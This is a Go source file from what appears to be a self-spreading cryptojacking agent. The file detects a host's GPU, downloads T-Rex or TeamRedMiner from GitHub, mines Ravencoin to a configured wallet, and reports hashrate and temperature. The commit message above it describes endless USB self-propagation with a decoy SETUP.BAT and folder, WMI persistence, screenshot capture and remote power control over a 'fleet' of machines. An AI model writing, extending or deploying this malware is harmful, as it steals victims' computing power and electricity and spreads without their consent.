- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
359 lines
7.8 KiB
Go
359 lines
7.8 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// GPUVendor identifies the discrete GPU brand on the host.
|
|
type GPUVendor int
|
|
|
|
const (
|
|
GPUVendorNone GPUVendor = iota
|
|
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
|
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
|
GPUVendorOther // generic / Intel — not supported for KawPoW
|
|
)
|
|
|
|
// GPUInfo holds detected GPU metadata.
|
|
type GPUInfo struct {
|
|
Vendor GPUVendor
|
|
Model string
|
|
}
|
|
|
|
// GPUMinerStats is polled from the miner's local HTTP API.
|
|
type GPUMinerStats struct {
|
|
Hashrate15s float64
|
|
Hashrate1m float64
|
|
Hashrate15m float64
|
|
GPUTempC *int
|
|
GPUUsagePct *int
|
|
ActiveAlgo string
|
|
}
|
|
|
|
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
|
type GPUMiner struct {
|
|
cfg config.RuntimeConfig
|
|
info GPUInfo
|
|
installDir string
|
|
|
|
mu sync.RWMutex
|
|
stats GPUMinerStats
|
|
active bool
|
|
|
|
stopCh chan struct{}
|
|
wg sync.WaitGroup
|
|
}
|
|
|
|
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
|
// Returns nil if GPU mining should not run.
|
|
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
|
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
|
return nil
|
|
}
|
|
info := detectGPU()
|
|
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
|
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
|
return nil
|
|
}
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
log.Printf("[gpu] cannot determine install dir: %v", err)
|
|
return nil
|
|
}
|
|
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
|
return &GPUMiner{
|
|
cfg: cfg,
|
|
info: info,
|
|
installDir: installDir,
|
|
stopCh: make(chan struct{}),
|
|
}
|
|
}
|
|
|
|
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
|
func (g *GPUMiner) Start() {
|
|
g.wg.Add(1)
|
|
go func() {
|
|
defer g.wg.Done()
|
|
g.run()
|
|
}()
|
|
}
|
|
|
|
// Stop shuts down the GPU miner and waits for it to exit.
|
|
func (g *GPUMiner) Stop() {
|
|
select {
|
|
case <-g.stopCh:
|
|
default:
|
|
close(g.stopCh)
|
|
}
|
|
g.wg.Wait()
|
|
}
|
|
|
|
// Stats returns the latest GPU mining statistics.
|
|
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
|
g.mu.RLock()
|
|
defer g.mu.RUnlock()
|
|
return g.stats, g.active
|
|
}
|
|
|
|
// GPUModel returns the detected GPU model string.
|
|
func (g *GPUMiner) GPUModel() string {
|
|
return g.info.Model
|
|
}
|
|
|
|
func (g *GPUMiner) run() {
|
|
// Ensure the miner binary is present before trying to start.
|
|
binPath, err := g.ensureMinerBinary()
|
|
if err != nil {
|
|
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
|
return
|
|
}
|
|
|
|
retryDelay := 30 * time.Second
|
|
for {
|
|
select {
|
|
case <-g.stopCh:
|
|
return
|
|
default:
|
|
}
|
|
|
|
proc, err := g.startProcess(binPath)
|
|
if err != nil {
|
|
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
|
|
select {
|
|
case <-g.stopCh:
|
|
return
|
|
case <-time.After(retryDelay):
|
|
continue
|
|
}
|
|
}
|
|
|
|
g.mu.Lock()
|
|
g.active = true
|
|
g.mu.Unlock()
|
|
|
|
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
|
|
|
|
// Poll miner API while it runs.
|
|
pollDone := make(chan struct{})
|
|
go func() {
|
|
defer close(pollDone)
|
|
g.pollStats()
|
|
}()
|
|
|
|
// Wait for process exit.
|
|
procState, waitErr := proc.Wait()
|
|
close(g.stopCh) // signal polling goroutine
|
|
<-pollDone
|
|
|
|
g.mu.Lock()
|
|
g.active = false
|
|
g.mu.Unlock()
|
|
|
|
if waitErr != nil {
|
|
log.Printf("[gpu] miner exited: %v", waitErr)
|
|
} else if procState != nil && !procState.Success() {
|
|
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
|
|
}
|
|
|
|
// Re-open the stop channel so we can retry cleanly.
|
|
g.stopCh = make(chan struct{})
|
|
|
|
select {
|
|
case <-time.After(retryDelay):
|
|
}
|
|
}
|
|
}
|
|
|
|
func (g *GPUMiner) pollStats() {
|
|
apiPort := g.apiPort()
|
|
ticker := time.NewTicker(10 * time.Second)
|
|
defer ticker.Stop()
|
|
|
|
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
|
|
|
|
for {
|
|
select {
|
|
case <-g.stopCh:
|
|
return
|
|
case <-ticker.C:
|
|
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
samples = append(samples, hr)
|
|
if len(samples) > 90 {
|
|
samples = samples[len(samples)-90:]
|
|
}
|
|
avg15s := hr
|
|
avg1m := avg(samples, 6)
|
|
avg15m := avg(samples, len(samples))
|
|
|
|
g.mu.Lock()
|
|
g.stats = GPUMinerStats{
|
|
Hashrate15s: avg15s,
|
|
Hashrate1m: avg1m,
|
|
Hashrate15m: avg15m,
|
|
GPUTempC: tempC,
|
|
GPUUsagePct: usage,
|
|
ActiveAlgo: "kawpow",
|
|
}
|
|
g.mu.Unlock()
|
|
}
|
|
}
|
|
}
|
|
|
|
func avg(samples []float64, last int) float64 {
|
|
if len(samples) == 0 || last <= 0 {
|
|
return 0
|
|
}
|
|
if last > len(samples) {
|
|
last = len(samples)
|
|
}
|
|
slice := samples[len(samples)-last:]
|
|
var sum float64
|
|
for _, v := range slice {
|
|
sum += v
|
|
}
|
|
return sum / float64(len(slice))
|
|
}
|
|
|
|
func (g *GPUMiner) apiPort() int {
|
|
switch g.info.Vendor {
|
|
case GPUVendorNVIDIA:
|
|
return 4067
|
|
case GPUVendorAMD:
|
|
return 4068
|
|
default:
|
|
return 4067
|
|
}
|
|
}
|
|
|
|
// ---- Miner binary management ----
|
|
|
|
type minerSpec struct {
|
|
fileName string
|
|
downloadURL string
|
|
}
|
|
|
|
func (g *GPUMiner) spec() minerSpec {
|
|
switch g.info.Vendor {
|
|
case GPUVendorNVIDIA:
|
|
return minerSpec{
|
|
fileName: "t-rex.exe",
|
|
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
|
}
|
|
default: // AMD
|
|
return minerSpec{
|
|
fileName: "teamredminer.exe",
|
|
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
|
}
|
|
}
|
|
}
|
|
|
|
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
|
spec := g.spec()
|
|
binPath := filepath.Join(g.installDir, spec.fileName)
|
|
if _, err := os.Stat(binPath); err == nil {
|
|
return binPath, nil
|
|
}
|
|
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
|
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
|
return "", fmt.Errorf("download failed: %w", err)
|
|
}
|
|
if _, err := os.Stat(binPath); err != nil {
|
|
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
|
}
|
|
return binPath, nil
|
|
}
|
|
|
|
func downloadAndExtract(url, destDir, targetFile string) error {
|
|
resp, err := http.Get(url) //nolint:noctx
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
|
}
|
|
data, err := io.ReadAll(resp.Body)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return extractZipFile(data, destDir, targetFile)
|
|
}
|
|
|
|
// ---- Miner HTTP API polling ----
|
|
|
|
// T-Rex summary response (subset we care about).
|
|
type trexSummary struct {
|
|
Hashrate int `json:"hashrate"`
|
|
GPUs []struct {
|
|
Temperature int `json:"temperature"`
|
|
GpuLoad int `json:"gpu_load"`
|
|
} `json:"gpus"`
|
|
}
|
|
|
|
// TeamRedMiner status response (subset).
|
|
type trmStatus struct {
|
|
Algorithms []struct {
|
|
Name string `json:"algorithm"`
|
|
TotalMHs float64 `json:"mhsh_total"`
|
|
} `json:"algorithms"`
|
|
GPUs []struct {
|
|
TempC int `json:"temp_c"`
|
|
Fan int `json:"fan_pct"`
|
|
} `json:"gpus"`
|
|
}
|
|
|
|
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
|
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
|
resp, e := http.Get(url) //nolint:noctx
|
|
if e != nil {
|
|
return 0, nil, nil, e
|
|
}
|
|
defer resp.Body.Close()
|
|
body, _ := io.ReadAll(resp.Body)
|
|
|
|
switch vendor {
|
|
case GPUVendorNVIDIA:
|
|
var s trexSummary
|
|
if e := json.Unmarshal(body, &s); e != nil {
|
|
return 0, nil, nil, e
|
|
}
|
|
hashrate = float64(s.Hashrate)
|
|
if len(s.GPUs) > 0 {
|
|
t := s.GPUs[0].Temperature
|
|
u := s.GPUs[0].GpuLoad
|
|
tempC = &t
|
|
usagePct = &u
|
|
}
|
|
case GPUVendorAMD:
|
|
var s trmStatus
|
|
if e := json.Unmarshal(body, &s); e != nil {
|
|
return 0, nil, nil, e
|
|
}
|
|
for _, a := range s.Algorithms {
|
|
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
|
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
|
}
|
|
}
|
|
if len(s.GPUs) > 0 {
|
|
t := s.GPUs[0].TempC
|
|
u := s.GPUs[0].Fan
|
|
tempC = &t
|
|
usagePct = &u
|
|
}
|
|
}
|
|
return
|
|
}
|